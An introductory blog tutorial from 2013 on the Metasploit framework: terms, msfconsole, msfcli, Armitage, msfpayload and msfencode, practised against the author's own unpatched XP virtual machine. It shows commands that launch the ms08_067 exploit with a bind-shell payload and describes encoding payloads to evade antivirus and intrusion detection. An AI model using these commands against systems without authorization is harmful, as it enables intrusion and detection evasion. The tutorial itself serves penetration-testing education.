Saturday, 11 May 2013

Metasploit Tutorial: Introduction

1.Metasploit Terms
Metasploit is a valuable tool in pen testing a network. However, it can be very confusing for a beginner. These metaspolit tutorials will help you get up and running with metasploit. Most of our hacking will be targeted to windows machines. As a reminder and site disclaimer: I am not responsible for your actions! This is for education only!

Recommended Reading: Metasploit: The Penetration Tester’s Guide

A Book that will show you most of the metasploit framework. However, it leaves you to discover the true power of metasploit for yourself. Overall, highly recommended.

Metasploit Terms

Exploit – to take advantage of a security flaw within a system, network, or application.
Payload - is code that our victim computer to execute by the metasploit framework.
Module - a small piece of code that can be added to the metasploit framework to execute an attack.
Shellcode – a small piece of code used as a payload.

Msfconsole is an all-in-one interface to most of the features in metasploit. Msfconsole can be used to launch attacks, creating listeners, and much, much more. We will be using Msfconsole throughout these tutorials, but mastering it will allow you to keep up with metaspolits rapidly changing framework. Metasploit comes installed by default on backtrack 5. To access msfconsole, open your console and type:
root@bt: ~# cd /opt/framework3/msf3/
root@bt: ~#/opt/framework3/msf3# msfconsole
After sometime, the msfconsole will boot.

To view the help files, simply type help followed by the command you want to know more about. In our case, we want to learn about the connect command. The connect command allows us to communicate with a host.
msf > help connect

Msfcli is another way to access the metasploit framework but focuses more on scripting and interpretability with other console-based tools. To view the msfcli help type:

root@bt:~# cd /opt/framework3/msf3
root@bt:~# msfcli -h
Now we are going to do a little test run of msfcli. It’s important to note whenever you’re learning metasploit and you get stuck, you can see the options in a module by adding the letter O to the end of the line. For example:
root@bt:~# msfcli windows/smb/ms08_067_netapt o
This module requires three options: RHOST, RPORT, and SMPIPE. Adding P to the end allows us to see what payloads we can use.
root@bt~# msfcli windows/smb/ms08_067_netapi RHOST= P
we can run our exploit by selecting a payload, fill out the options, and run it by passing the letter E to the ned of the msfcli argument string.
root@bt~# msfcli windows/smb/ms08_067_netapi RHOST= PAYLOAD=windows/shell/bind_tcp E
Note: the IP address assigned to RHOST is a windows XP machine that I have on a virtaul machine. It will act as our victim machine for testing. You will have to do the same with another computer or a virtual machine. For practice, do not update your victim machine or install anti-virus. We want to be able to use our exploits without them being patched over with windows updates. We will go over this more in-depth later on.

The armitage component is a fully interactive graphical user interface.

Running Armitage

1Run the command armitage.
2Select Start MSF.

The msfpayload component of metasploit that generates shellcode, and executables. Shellcoe can bew generated in many formats including C, Ruby, JavaScript and even Visuabl Basic. Each output will be useful in various situations.

For msfpayload help type: root@bt~# msfpayload -h

Just like msfcli, if you need to find out the required options, append the letter O on the command line.
root@bt:~# msfpayload windows/shell_reverse_tcp O

The shellcode generated by msfpayload is functional, but it contains several null characters that, when interpreted by many programs, signify the end of a string, and this will cause the code to terminate before completion.

In addition, shellcode traversing a network in cleartext is likely to be picked up by intrusion detection systems (IDSs) and antivirus software. To address this problem, Metasploit’s developers offer msfencode, which helps you to avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters.

Enter msfencode -h to see a list of msfencode options.

Metasploit contains a number of different encoders for different situations. Some will be useful when you can use only alphanumeric characters as part of a payload, as is the case with many file format exploits or other applications that accept only printable characters as input, while others are great general purpose encoders that do well in every situation. A very popular and well known encoder is the: x86/shikata_ga_nai encoder.

To see the list of encoders available, append -l to msfencode as shown next. The payloads are ranked in order of reliability.
root@bt:~# msfencode -l

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